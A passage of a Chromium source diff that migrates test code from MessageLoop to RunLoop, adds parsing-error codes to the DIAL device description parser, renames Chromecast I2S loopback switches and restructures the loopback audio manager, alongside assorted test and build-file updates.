         assertEquals('browser.clear_data.browsing_history', checkbox.pref.key);
 
@@ -292,6 +306,7 @@
       settings.ClearBrowsingDataBrowserProxyImpl.instance_ = testBrowserProxy;
       PolymerTest.clearBody();
       element = document.createElement('settings-clear-browsing-data-dialog');
+      element.set('prefs', getClearBrowsingDataPrefs());
       document.body.appendChild(element);
       return testBrowserProxy.whenCalled('initialize').then(function() {
         return testBrowserProxy.whenCalled('getImportantSites');
@@ -318,7 +333,7 @@
             var firstImportantSite = element.$$('important-site-checkbox')
             assertTrue(!!firstImportantSite);
             assertEquals(
-                firstImportantSite.site.registerableDomain, 'google.com');
+                'google.com', firstImportantSite.site.registerableDomain);
             assertTrue(firstImportantSite.site.isChecked)
             // Choose to keep storage for google.com.
             MockInteractions.tap(firstImportantSite.$$('#checkbox'));
@@ -326,11 +341,13 @@
             // Confirm deletion.
             MockInteractions.tap(element.$$('#importantSitesConfirm'));
             return testBrowserProxy.whenCalled('clearBrowsingData')
-                .then(function(sites) {
-                  assertEquals(sites.length, 2);
-                  assertEquals(sites[0].registerableDomain, 'google.com');
+                .then(function([dataTypes, timePeriod, sites]) {
+                  assertEquals(1, dataTypes.length);
+                  assertEquals('browser.clear_data.cookies', dataTypes[0]);
+                  assertEquals(2, sites.length);
+                  assertEquals('google.com', sites[0].registerableDomain);
                   assertFalse(sites[0].isChecked);
-                  assertEquals(sites[1].registerableDomain, 'yahoo.com');
+                  assertEquals('yahoo.com', sites[1].registerableDomain);
                   assertTrue(sites[1].isChecked);
                 });
           });
diff --git a/chrome/tools/build/linux/FILES.cfg b/chrome/tools/build/linux/FILES.cfg
index 338e15f6..8141226 100644
--- a/chrome/tools/build/linux/FILES.cfg
+++ b/chrome/tools/build/linux/FILES.cfg
@@ -118,11 +118,11 @@
   # ANGLE files:
   {
     'filename': 'libGLESv2.so',
-    'buildtype': ['dev'],
+    'buildtype': ['dev', 'official'],
   },
   {
     'filename': 'libEGL.so',
-    'buildtype': ['dev'],
+    'buildtype': ['dev', 'official'],
   },
   # SwiftShader files:
   {
diff --git a/chrome/typemaps.gni b/chrome/typemaps.gni
index 90e24de9..79a9ff1 100644
--- a/chrome/typemaps.gni
+++ b/chrome/typemaps.gni
@@ -3,7 +3,7 @@
 # found in the LICENSE file.
 
 typemaps = [
-  "//chrome/common/instant.typemap",
+  "//chrome/common/search.typemap",
   "//chrome/common/safe_browsing/safe_archive_analyzer.typemap",
   "//chrome/common/shell_handler_win.typemap",
 ]
diff --git a/chrome/utility/importer/firefox_importer_unittest_utils_mac.cc b/chrome/utility/importer/firefox_importer_unittest_utils_mac.cc
index d2d0e3e2..bf0028be 100644
--- a/chrome/utility/importer/firefox_importer_unittest_utils_mac.cc
+++ b/chrome/utility/importer/firefox_importer_unittest_utils_mac.cc
@@ -85,14 +85,14 @@
     DCHECK(!got_result);
     result_bool = result;
     got_result = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnDecryptedTextResponse(const base::string16& decrypted_text) {
     DCHECK(!got_result);
     result_string = decrypted_text;
     got_result = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnParseSignonsResponse(
@@ -100,7 +100,7 @@
     DCHECK(!got_result);
     result_vector = parsed_vector;
     got_result = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void QuitClient() {
@@ -122,7 +122,7 @@
   // If an error occured, just kill the message Loop.
   void OnChannelError() override {
     got_result = false;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   // Results of IPC calls.
@@ -253,7 +253,7 @@
     sender_->Send(new Msg_ParseSignons_Response(forms));
   }
 
-  void OnQuitRequest() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void OnQuitRequest() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   bool OnMessageReceived(const IPC::Message& msg) override {
     bool handled = true;
@@ -268,7 +268,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/utility/media_router/dial_device_description_parser_impl.cc b/chrome/utility/media_router/dial_device_description_parser_impl.cc
index c04acc7..583fb32 100644
--- a/chrome/utility/media_router/dial_device_description_parser_impl.cc
+++ b/chrome/utility/media_router/dial_device_description_parser_impl.cc
@@ -16,22 +16,6 @@
 
 namespace {
 
-enum ErrorType {
-  NONE,
-  MISSING_UNIQUE_ID,
-  MISSING_FRIENDLY_NAME,
-};
-
-ErrorType Validate(const chrome::mojom::DialDeviceDescription& description) {
-  if (description.unique_id.empty()) {
-    return ErrorType::MISSING_UNIQUE_ID;
-  }
-  if (description.friendly_name.empty()) {
-    return ErrorType::MISSING_FRIENDLY_NAME;
-  }
-  return ErrorType::NONE;
-}
-
 // If friendly name does not exist, fall back to use model name + last 4
 // digits of UUID as friendly name.
 std::string ComputeFriendlyName(const std::string& unique_id,
@@ -66,16 +50,23 @@
   DCHECK(thread_checker_.CalledOnValidThread());
   DCHECK(!callback.is_null());
 
+  chrome::mojom::DialParsingError parsing_error =
+      chrome::mojom::DialParsingError::NONE;
   chrome::mojom::DialDeviceDescriptionPtr device_description =
-      Parse(device_description_xml_data);
-  std::move(callback).Run(std::move(device_description));
+      Parse(device_description_xml_data, &parsing_error);
+  std::move(callback).Run(std::move(device_description), parsing_error);
 }
 
 chrome::mojom::DialDeviceDescriptionPtr DialDeviceDescriptionParserImpl::Parse(
-    const std::string& xml) {
+    const std::string& xml,
+    chrome::mojom::DialParsingError* parsing_error) {
+  *parsing_error = chrome::mojom::DialParsingError::NONE;
+
   XmlReader xml_reader;
-  if (!xml_reader.Load(xml))
+  if (!xml_reader.Load(xml)) {
+    *parsing_error = chrome::mojom::DialParsingError::INVALID_XML;
     return nullptr;
+  }
 
   chrome::mojom::DialDeviceDescriptionPtr out =
       chrome::mojom::DialDeviceDescription::New();
@@ -85,29 +76,34 @@
     std::string node_name(xml_reader.NodeName());
 
     if (node_name == "UDN") {
-      if (!xml_reader.ReadElementContent(&out->unique_id))
+      if (!xml_reader.ReadElementContent(&out->unique_id)) {
+        *parsing_error = chrome::mojom::DialParsingError::FAILED_TO_READ_UDN;
         return nullptr;
+      }
     } else if (node_name == "friendlyName") {
-      if (!xml_reader.ReadElementContent(&out->friendly_name))
+      if (!xml_reader.ReadElementContent(&out->friendly_name)) {
+        *parsing_error =
+            chrome::mojom::DialParsingError::FAILED_TO_READ_FRIENDLY_NAME;
         return nullptr;
+      }
     } else if (node_name == "modelName") {
-      if (!xml_reader.ReadElementContent(&out->model_name))
+      if (!xml_reader.ReadElementContent(&out->model_name)) {
+        *parsing_error =
+            chrome::mojom::DialParsingError::FAILED_TO_READ_MODEL_NAME;
         return nullptr;
+      }
     } else if (node_name == "deviceType") {
-      if (!xml_reader.ReadElementContent(&out->device_type))
+      if (!xml_reader.ReadElementContent(&out->device_type)) {
+        *parsing_error =
+            chrome::mojom::DialParsingError::FAILED_TO_READ_DEVICE_TYPE;
         return nullptr;
+      }
     }
   }
 
   if (out->friendly_name.empty())
     out->friendly_name = ComputeFriendlyName(out->unique_id, out->model_name);
 
-  ErrorType error = Validate(*out);
-  if (error != ErrorType::NONE) {
-    DLOG(WARNING) << "Device description failed to validate: " << error;
-    return nullptr;
-  }
-
   return out;
 }
 
diff --git a/chrome/utility/media_router/dial_device_description_parser_impl.h b/chrome/utility/media_router/dial_device_description_parser_impl.h
index 85c1313a..7a77b7d 100644
--- a/chrome/utility/media_router/dial_device_description_parser_impl.h
+++ b/chrome/utility/media_router/dial_device_description_parser_impl.h
@@ -33,7 +33,11 @@
   // Processes the result of getting device description. Returns valid
   // DialDeviceDescriptionPtr if processing succeeds; otherwise returns nullptr.
   // |xml|: The device description xml text.
-  chrome::mojom::DialDeviceDescriptionPtr Parse(const std::string& xml);
+  // |parsing_error|: Set by the method to an error value if parsing fails, or
+  // NONE if parsing succeeds. Does not take ownership of |parsing_error|.
+  chrome::mojom::DialDeviceDescriptionPtr Parse(
+      const std::string& xml,
+      chrome::mojom::DialParsingError* parsing_error);
 
   base::ThreadChecker thread_checker_;
 
diff --git a/chrome/utility/media_router/dial_device_description_parser_impl_unittest.cc b/chrome/utility/media_router/dial_device_description_parser_impl_unittest.cc
index e4fc61e6..8dd161b 100644
--- a/chrome/utility/media_router/dial_device_description_parser_impl_unittest.cc
+++ b/chrome/utility/media_router/dial_device_description_parser_impl_unittest.cc
@@ -74,8 +74,13 @@
 class DialDeviceDescriptionParserImplTest : public testing::Test {
  public:
   DialDeviceDescriptionParserImplTest() {}
-  chrome::mojom::DialDeviceDescriptionPtr Parse(const std::string& xml) {
-    return parser_.Parse(xml);
+  chrome::mojom::DialDeviceDescriptionPtr Parse(
+      const std::string& xml,
+      chrome::mojom::DialParsingError expected_error) {
+    chrome::mojom::DialParsingError error;
+    auto out = parser_.Parse(xml, &error);
+    EXPECT_EQ(expected_error, error);
+    return out;
   }
 
  private:
@@ -84,15 +89,18 @@
 };
 
 TEST_F(DialDeviceDescriptionParserImplTest, TestInvalidXml) {
-  chrome::mojom::DialDeviceDescriptionPtr device_description = Parse("");
-  EXPECT_FALSE(device_description);
+  chrome::mojom::DialDeviceDescriptionPtr device_description =
+      Parse("", chrome::mojom::DialParsingError::NONE);
+  ASSERT_TRUE(device_description);
+  EXPECT_TRUE(device_description->unique_id.empty());
 }
 
 TEST_F(DialDeviceDescriptionParserImplTest, TestParse) {
   std::string xml_text(kDeviceDescriptionWithService);
 
-  chrome::mojom::DialDeviceDescriptionPtr device_description = Parse(xml_text);
-  EXPECT_TRUE(device_description);
+  chrome::mojom::DialDeviceDescriptionPtr device_description =
+      Parse(xml_text, chrome::mojom::DialParsingError::NONE);
+  ASSERT_TRUE(device_description);
 
   EXPECT_EQ("urn:dial-multiscreen-org:device:dial:1",
             device_description->device_type);
@@ -109,8 +117,9 @@
   std::string xml_text(kDeviceDescriptionWithService);
   xml_text = Replace(xml_text, old_name, new_name);
 
-  chrome::mojom::DialDeviceDescriptionPtr device_description = Parse(xml_text);
-  EXPECT_TRUE(device_description);
+  chrome::mojom::DialDeviceDescriptionPtr device_description =
+      Parse(xml_text, chrome::mojom::DialParsingError::NONE);
+  ASSERT_TRUE(device_description);
 
   EXPECT_EQ("urn:dial-multiscreen-org:device:dial:1",
             device_description->device_type);
@@ -129,8 +138,11 @@
   xml_text = Replace(xml_text, friendly_name, "");
   xml_text = Replace(xml_text, model_name, "");
 
-  chrome::mojom::DialDeviceDescriptionPtr device_description = Parse(xml_text);
-  EXPECT_FALSE(device_description);
+  chrome::mojom::DialDeviceDescriptionPtr device_description =
+      Parse(xml_text, chrome::mojom::DialParsingError::NONE);
+  ASSERT_TRUE(device_description);
+  EXPECT_TRUE(device_description->friendly_name.empty());
+  EXPECT_TRUE(device_description->model_name.empty());
 }
 
 TEST_F(DialDeviceDescriptionParserImplTest, TestParseWithoutFriendlyName) {
@@ -139,8 +151,9 @@
   std::string xml_text(kDeviceDescriptionWithoutService);
   xml_text = Replace(xml_text, friendly_name, "");
 
-  chrome::mojom::DialDeviceDescriptionPtr device_description = Parse(xml_text);
-  EXPECT_TRUE(device_description);
+  chrome::mojom::DialDeviceDescriptionPtr device_description =
+      Parse(xml_text, chrome::mojom::DialParsingError::NONE);
+  ASSERT_TRUE(device_description);
 
   EXPECT_EQ("urn:dial-multiscreen-org:device:dial:1",
             device_description->device_type);
diff --git a/chrome_elf/BUILD.gn b/chrome_elf/BUILD.gn
index 8ae2c85..ed735be 100644
--- a/chrome_elf/BUILD.gn
+++ b/chrome_elf/BUILD.gn
@@ -26,7 +26,6 @@
   sources = [
     as_invoker_manifest,
   ]
-  type = "dll"
 }
 
 # We should move chrome_result_codes.h to another target which does not bring
diff --git a/chromecast/base/chromecast_switches.cc b/chromecast/base/chromecast_switches.cc
index 2ea2c4c..4cc4ad7 100644
--- a/chromecast/base/chromecast_switches.cc
+++ b/chromecast/base/chromecast_switches.cc
@@ -112,8 +112,8 @@
 // Used to pass configuration for the I2S input to enable loopback for AEC.
 const char kLoopbackI2sBits[] = "loopback-i2s-bits";
 const char kLoopbackI2sChannels[] = "loopback-i2s-channels";
-const char kLoopbackI2sNumber[] = "loopback-i2s-number";
-const char kLoopbackI2sRate[] = "loopback-i2s-rate";
+const char kLoopbackI2sBusNumber[] = "loopback-i2s-bus-number";
+const char kLoopbackI2sRateHz[] = "loopback-i2s-rate-hz";
 
 // When present, desktop cast_shell will create 1080p window (provided display
 // resolution is high enough).  Otherwise, cast_shell defaults to 720p.
diff --git a/chromecast/base/chromecast_switches.h b/chromecast/base/chromecast_switches.h
index 0c327e5..49d8809 100644
--- a/chromecast/base/chromecast_switches.h
+++ b/chromecast/base/chromecast_switches.h
@@ -63,8 +63,8 @@
 // I2S loopback configuration switches
 extern const char kLoopbackI2sBits[];
 extern const char kLoopbackI2sChannels[];
-extern const char kLoopbackI2sNumber[];
-extern const char kLoopbackI2sRate[];
+extern const char kLoopbackI2sBusNumber[];
+extern const char kLoopbackI2sRateHz[];
 
 // Graphics switches
 extern const char kDesktopWindow1080p[];
diff --git a/chromecast/browser/cast_content_browser_client.cc b/chromecast/browser/cast_content_browser_client.cc
index d2c4d350..fd24a27 100644
--- a/chromecast/browser/cast_content_browser_client.cc
+++ b/chromecast/browser/cast_content_browser_client.cc
@@ -112,10 +112,8 @@
       url_request_context_factory_(new URLRequestContextFactory()) {}
 
 CastContentBrowserClient::~CastContentBrowserClient() {
-  content::BrowserThread::DeleteSoon(
-      content::BrowserThread::IO,
-      FROM_HERE,
-      url_request_context_factory_.release());
+  content::BrowserThread::DeleteSoon(content::BrowserThread::IO, FROM_HERE,
+                                     url_request_context_factory_.release());
 }
 
 void CastContentBrowserClient::AppendExtraCommandLineSwitches(
@@ -147,8 +145,7 @@
 #endif  // defined(USE_AURA)
 }
 
-void CastContentBrowserClient::PreCreateThreads() {
-}
+void CastContentBrowserClient::PreCreateThreads() {}
 
 std::unique_ptr<CastService> CastContentBrowserClient::CreateCastService(
     content::BrowserContext* browser_context,
@@ -236,12 +233,10 @@
 }
 
 void CastContentBrowserClient::SetMetricsClientId(
-    const std::string& client_id) {
-}
+    const std::string& client_id) {}
 
 void CastContentBrowserClient::RegisterMetricsProviders(
-    ::metrics::MetricsService* metrics_service) {
-}
+    ::metrics::MetricsService* metrics_service) {}
 
 bool CastContentBrowserClient::EnableRemoteDebuggingImmediately() {
   return true;
@@ -262,9 +257,9 @@
   // getting HostResolver.
   content::BrowserThread::PostTaskAndReplyWithResult(
       content::BrowserThread::IO, FROM_HERE,
-      base::Bind(&net::URLRequestContextGetter::GetURLRequestContext,
-                 base::Unretained(
-                    url_request_context_factory_->GetSystemGetter())),
+      base::Bind(
+          &net::URLRequestContextGetter::GetURLRequestContext,
+          base::Unretained(url_request_context_factory_->GetSystemGetter())),
       base::Bind(&CastContentBrowserClient::AddNetworkHintsMessageFilter,
                  base::Unretained(this), host->GetID()));
 
@@ -279,7 +274,8 @@
 }
 
 void CastContentBrowserClient::AddNetworkHintsMessageFilter(
-    int render_process_id, net::URLRequestContext* context) {
+    int render_process_id,
+    net::URLRequestContext* context) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
 
   content::RenderProcessHost* host =
@@ -298,12 +294,9 @@
     return false;
 
   static const char* const kProtocolList[] = {
-    content::kChromeUIScheme,
-    content::kChromeDevToolsScheme,
-    kChromeResourceScheme,
-    url::kBlobScheme,
-    url::kDataScheme,
-    url::kFileSystemScheme,
+      content::kChromeUIScheme, content::kChromeDevToolsScheme,
+      kChromeResourceScheme,    url::kBlobScheme,
+      url::kDataScheme,         url::kFileSystemScheme,
   };
 
   const std::string& scheme = url.scheme();
@@ -475,8 +468,8 @@
   DCHECK_CURRENTLY_ON(content::BrowserThread::IO);
   CastNetworkDelegate* network_delegate =
       url_request_context_factory_->app_network_delegate();
-  if (network_delegate->IsWhitelisted(requesting_url,
-                                      render_process_id, false)) {
+  if (network_delegate->IsWhitelisted(requesting_url, render_process_id,
+                                      false)) {
     original_runner->PostTask(
         FROM_HERE,
         base::Bind(continue_callback, CastNetworkDelegate::DeviceCert(),
@@ -485,8 +478,7 @@
   } else {
     LOG(ERROR) << "Invalid host for client certificate request: "
                << requesting_url.host()
-               << " with render_process_id: "
-               << render_process_id;
+               << " with render_process_id: " << render_process_id;
   }
   original_runner->PostTask(FROM_HERE,
                             base::Bind(continue_callback, nullptr, nullptr));
@@ -569,7 +561,7 @@
   breakpad::CrashDumpObserver::GetInstance()->BrowserChildProcessStarted(
       child_process_id, mappings);
 #else
-    int crash_signal_fd = GetCrashSignalFD(command_line);
+  int crash_signal_fd = GetCrashSignalFD(command_line);
   if (crash_signal_fd >= 0) {
     mappings->Share(kCrashDumpSignal, crash_signal_fd);
   }
@@ -617,8 +609,8 @@
 
   // Alway set "upload" to false to use our own uploader.
   breakpad::CrashHandlerHostLinux* crash_handler =
-    new breakpad::CrashHandlerHostLinux(
-        process_type, dumps_path, false /* upload */);
+      new breakpad::CrashHandlerHostLinux(process_type, dumps_path,
+                                          false /* upload */);
   // StartUploaderThread() even though upload is diferred.
   // Breakpad-related memory is freed in the uploader thread.
   crash_handler->StartUploaderThread();
diff --git a/chromecast/chromecast.gni b/chromecast/chromecast.gni
index 0dcf52e..bd4cdfff 100644
--- a/chromecast/chromecast.gni
+++ b/chromecast/chromecast.gni
@@ -50,8 +50,8 @@
 }
 
 declare_args() {
-  # Currently android things libraries live in internal.  TODO(njeff): change
-  # this when Android Things API is moved to public
+  # Currently android things libraries live in internal.
+  # TODO(njeff): change this when Android Things API is moved to public.
   enable_athings_loopback = is_android_things && chromecast_branding != "public"
 }
 
diff --git a/chromecast/graphics/BUILD.gn b/chromecast/graphics/BUILD.gn
index f9210ce..ce1ed90 100644
--- a/chromecast/graphics/BUILD.gn
+++ b/chromecast/graphics/BUILD.gn
@@ -82,6 +82,7 @@
     deps = [
       ":graphics",
       "//base/test:test_support",
+      "//mojo/edk/system",
       "//testing/gtest",
       "//ui/aura",
       "//ui/aura:test_support",
diff --git a/chromecast/graphics/DEPS b/chromecast/graphics/DEPS
index 9994be90..d49a92ab 100644
--- a/chromecast/graphics/DEPS
+++ b/chromecast/graphics/DEPS
@@ -9,3 +9,9 @@
   "+ui/views",
   "+ui/wm/public",
 ]
+
+specific_include_rules = {
+  "run_all_unittests\.cc": [
+      "+mojo/edk/embedder",
+  ]
+}
diff --git a/chromecast/graphics/run_all_unittests.cc b/chromecast/graphics/run_all_unittests.cc
index b566b4d..6b3b64f 100644
--- a/chromecast/graphics/run_all_unittests.cc
+++ b/chromecast/graphics/run_all_unittests.cc
@@ -7,6 +7,7 @@
 #include "base/path_service.h"
 #include "base/test/launcher/unit_test_launcher.h"
 #include "base/test/test_suite.h"
+#include "mojo/edk/embedder/embedder.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/aura/env.h"
 #include "ui/base/resource/resource_bundle.h"
@@ -45,6 +46,8 @@
 int main(int argc, char** argv) {
   ChromecastGraphicsTestSuite test_suite(argc, argv);
 
+  mojo::edk::Init();
+
   return base::LaunchUnitTests(argc, argv,
                                base::Bind(&ChromecastGraphicsTestSuite::Run,
                                           base::Unretained(&test_suite)));
diff --git a/chromecast/media/cma/backend/android/BUILD.gn b/chromecast/media/cma/backend/android/BUILD.gn
index 60261ca..44a8cdd4 100644
--- a/chromecast/media/cma/backend/android/BUILD.gn
+++ b/chromecast/media/cma/backend/android/BUILD.gn
@@ -28,6 +28,7 @@
     ":audio_track_java",
     ":audio_track_jni_headers",
     "//base",
+    "//chromecast:chromecast_features",
     "//chromecast/base",
     "//chromecast/media/cma/backend:null",
     "//chromecast/media/cma/base",
diff --git a/chromecast/media/cma/backend/android/loopback_audio_manager.cc b/chromecast/media/cma/backend/android/loopback_audio_manager.cc
index 68aa0d7..3479a43 100644
--- a/chromecast/media/cma/backend/android/loopback_audio_manager.cc
+++ b/chromecast/media/cma/backend/android/loopback_audio_manager.cc
@@ -39,7 +39,7 @@
 
 const int kMaxI2sNameLen = 32;
 const int kBufferLenMs = 20;
-const int kMsPerSecond 1000;
+const int kMsPerSecond = 1000;
 const int64_t kNsecPerSecond = 1000000000LL;
 const int64_t kTimestampUpdatePeriodNsec = 10 * kNsecPerSecond;
 const int64_t kInvalidTimestamp = std::numeric_limits<int64_t>::min();
@@ -59,11 +59,25 @@
 }  // namespace
 
 LoopbackAudioManager::LoopbackAudioManager()
-    : feeder_thread_("Android_Loopback"),
-      last_timestamp_nsec_(kInvalidTimestamp),
+    : last_timestamp_nsec_(kInvalidTimestamp),
       last_frame_position_(0),
       frame_count_(0),
-      loopback_running(false) {
+      feeder_thread_("CMA_Backend_Loopback"),
+      loopback_running_(false) {
+  // Open I2S device.
+  APeripheralManagerClient* client = APeripheralManagerClient_new();
+  DCHECK(client);
+
+  char i2s_name[kMaxI2sNameLen];
+  AI2sEncoding i2s_encoding;
+  GetI2sFlags(i2s_name, &i2s_encoding);
+
+  int err = APeripheralManagerClient_openI2sDevice(
+      client, i2s_name, i2s_encoding, i2s_channels_, i2s_rate_,
+      AI2S_FLAG_DIRECTION_IN, &i2s_);
+  DCHECK_EQ(err, 0);
+
+  // Spin up loopback thread.
   base::Thread::Options options;
   options.priority = base::ThreadPriority::REALTIME_AUDIO;
   CHECK(feeder_thread_.StartWithOptions(options));
@@ -76,6 +90,7 @@
   // thread_.Stop() makes sure the thread is stopped before return.
   // It's okay to clean up after feeder_thread_ is stopped.
   StopLoopback();
+  AI2sDevice_delete(i2s_);
 }
 
 // static
@@ -99,9 +114,15 @@
   int64_t old_last_position = last_frame_position_;
   int64_t old_last_timestamp = last_timestamp_nsec_;
   int success;
-  DCHECK_EQ(0, AI2sDevice_getInputTimestamp(i2s_, &last_frame_position_,
-                                            &last_timestamp_nsec_, &success));
-  // If the call fails, the values are not updated.
+  int ret = AI2sDevice_getInputTimestamp(i2s_, &last_frame_position_,
+                                         &last_timestamp_nsec_, &success);
+  // An error occurred during the call.
+  if (ret != 0) {
+    LOG(ERROR) << "GetTimestamp call unsuccessful on loopback input";
+    return;
+  }
+
+  // The system is unable to provide a timestamp, but the call succeceded.
   if (!success) {
     return;
   }
@@ -126,14 +147,14 @@
 
 void LoopbackAudioManager::GetI2sFlags(char* i2s_name,
                                        AI2sEncoding* i2s_encoding) {
-  int i2s_number = GetSwitchValueInt(switches::kLoopbackI2sNumber, -1);
+  int i2s_number = GetSwitchValueInt(switches::kLoopbackI2sBusNumber, -1);
   LOG_IF(DFATAL, i2s_number == -1)
-      << "Flag --" << switches::kLoopbackI2sNumber << " is required.";
+      << "Flag --" << switches::kLoopbackI2sBusNumber << " is required.";
 
   sprintf(i2s_name, "I2S%d", i2s_number);
-  i2s_rate_ = GetSwitchValueNonNegativeInt(switches::kLoopbackI2sRate, 0);
+  i2s_rate_ = GetSwitchValueNonNegativeInt(switches::kLoopbackI2sRateHz, 0);
   LOG_IF(DFATAL, !i2s_rate_)
-      << "Flag --" << switches::kLoopbackI2sRate << " is required.";
+      << "Flag --" << switches::kLoopbackI2sRateHz << " is required.";
 
   int i2s_bits = GetSwitchValueNonNegativeInt(switches::kLoopbackI2sBits, 0);
   LOG_IF(DFATAL, !i2s_bits)
@@ -174,19 +195,6 @@
   DCHECK(!loopback_running_);
   last_timestamp_nsec_ = kInvalidTimestamp;
 
-  // Open I2S device.
-  APeripheralManagerClient* client = APeripheralManagerClient_new();
-  DCHECK(client);
-
-  char i2s_name[kMaxI2sNameLen];
-  AI2sEncoding i2s_encoding;
-  GetI2sFlags(i2s_name, &i2s_encoding);
-
-  int err = APeripheralManagerClient_openI2sDevice(
-      client, i2s_name, i2s_encoding, i2s_channels_, i2s_rate_,
-      AI2S_FLAG_DIRECTION_IN, &i2s_);
-  DCHECK_EQ(err, 0);
-
   // Maintain sample count for interpolation.
   frame_count_ = 0;
   loopback_running_ = true;
@@ -196,7 +204,6 @@
 void LoopbackAudioManager::StopLoopback() {
   DCHECK(loopback_running_);
   loopback_running_ = false;
-  AI2sDevice_delete(i2s_);
 }
 
 void LoopbackAudioManager::RunLoopback() {
@@ -209,8 +216,12 @@
   // Read bytes from I2S device.
   int bytes_read;
   uint8_t data[audio_buffer_size_];
-  AI2sDevice_read(i2s_, data, 0, audio_buffer_size_, &bytes_read);
-  DCHECK_EQ(audio_buffer_size_, bytes_read);
+  int ret = AI2sDevice_read(i2s_, data, 0, audio_buffer_size_, &bytes_read);
+  if (ret != 0) {
+    LOG(ERROR) << "Failed to read loopback audio";
+    return;
+  }
+  CHECK_EQ(audio_buffer_size_, bytes_read);
   frame_count_ += bytes_read / (bytes_per_sample_ * i2s_channels_);
 
   // Get high-resolution timestamp.
diff --git a/chromecast/media/cma/backend/android/loopback_audio_manager.h b/chromecast/media/cma/backend/android/loopback_audio_manager.h
index ed68b4b0..b3fbce5 100644
--- a/chromecast/media/cma/backend/android/loopback_audio_manager.h
+++ b/chromecast/media/cma/backend/android/loopback_audio_manager.h
@@ -21,7 +21,7 @@
 
 class LoopbackAudioManager {
  public:
-  // Get singleton instance of Loopback Audio Manager
+  // Get singleton instance of Loopback Audio Manager.
   static LoopbackAudioManager* Get();
 
   // Adds a loopback audio observer.
@@ -52,7 +52,7 @@
   int64_t last_frame_position_;
   int64_t frame_count_;
 
-  // Initialized based on the values of castshell flags
+  // Initialized based on the values of castshell flags.
   int audio_buffer_size_;
   int bytes_per_sample_;
   int i2s_rate_;
diff --git a/chromecast/media/cma/backend/audio_video_pipeline_device_unittest.cc b/chromecast/media/cma/backend/audio_video_pipeline_device_unittest.cc
index b252c36..d9239df 100644
--- a/chromecast/media/cma/backend/audio_video_pipeline_device_unittest.cc
+++ b/chromecast/media/cma/backend/audio_video_pipeline_device_unittest.cc
@@ -772,7 +772,7 @@
     for (auto& feeder : effects_feeders_)
       feeder->Stop();
 
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
@@ -912,7 +912,7 @@
 
   RunStoppedChecks();
 
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 TEST_F(AudioVideoPipelineDeviceTest, Mp3Playback) {
diff --git a/chromecast/media/cma/backend/multizone_backend_unittest.cc b/chromecast/media/cma/backend/multizone_backend_unittest.cc
index f3cfb91..66ec578 100644
--- a/chromecast/media/cma/backend/multizone_backend_unittest.cc
+++ b/chromecast/media/cma/backend/multizone_backend_unittest.cc
@@ -361,7 +361,7 @@
   for (auto& feeder : effects_feeders_)
     feeder->Stop();
 
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
   EXPECT_LT(audio_feeder_->GetMaxRenderingDelayErrorUs(),
             kMaxRenderingDelayErrorUs);
diff --git a/chromecast/media/cma/base/balanced_media_task_runner_unittest.cc b/chromecast/media/cma/base/balanced_media_task_runner_unittest.cc
index 2e643d1..39d48705 100644
--- a/chromecast/media/cma/base/balanced_media_task_runner_unittest.cc
+++ b/chromecast/media/cma/base/balanced_media_task_runner_unittest.cc
@@ -140,7 +140,7 @@
       has_task = true;
   }
   if (!has_task) {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return;
   }
 
@@ -206,7 +206,7 @@
 void BalancedMediaTaskRunnerTest::OnTestTimeout() {
   ADD_FAILURE() << "Test timed out";
   if (base::MessageLoop::current())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 TEST_F(BalancedMediaTaskRunnerTest, OneTaskRunner) {
diff --git a/chromecast/media/cma/base/buffering_frame_provider_unittest.cc b/chromecast/media/cma/base/buffering_frame_provider_unittest.cc
index 5ca7ed5..b89691b6 100644
--- a/chromecast/media/cma/base/buffering_frame_provider_unittest.cc
+++ b/chromecast/media/cma/base/buffering_frame_provider_unittest.cc
@@ -108,11 +108,11 @@
 void BufferingFrameProviderTest::OnTestTimeout() {
   ADD_FAILURE() << "Test timed out";
   if (base::MessageLoop::current())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void BufferingFrameProviderTest::OnTestCompleted() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 TEST_F(BufferingFrameProviderTest, FastProviderSlowConsumer) {
diff --git a/chromecast/media/cma/base/demuxer_stream_adapter_unittest.cc b/chromecast/media/cma/base/demuxer_stream_adapter_unittest.cc
index f8f18ea..bcd485f 100644
--- a/chromecast/media/cma/base/demuxer_stream_adapter_unittest.cc
+++ b/chromecast/media/cma/base/demuxer_stream_adapter_unittest.cc
@@ -101,7 +101,7 @@
 void DemuxerStreamAdapterTest::OnTestTimeout() {
   ADD_FAILURE() << "Test timed out";
   if (base::MessageLoop::current())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DemuxerStreamAdapterTest::OnNewFrame(
@@ -147,7 +147,7 @@
 void DemuxerStreamAdapterTest::OnFlushCompleted() {
   ASSERT_EQ(frame_received_count_, total_expected_frames_);
   ASSERT_FALSE(demuxer_stream_->has_pending_read());
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
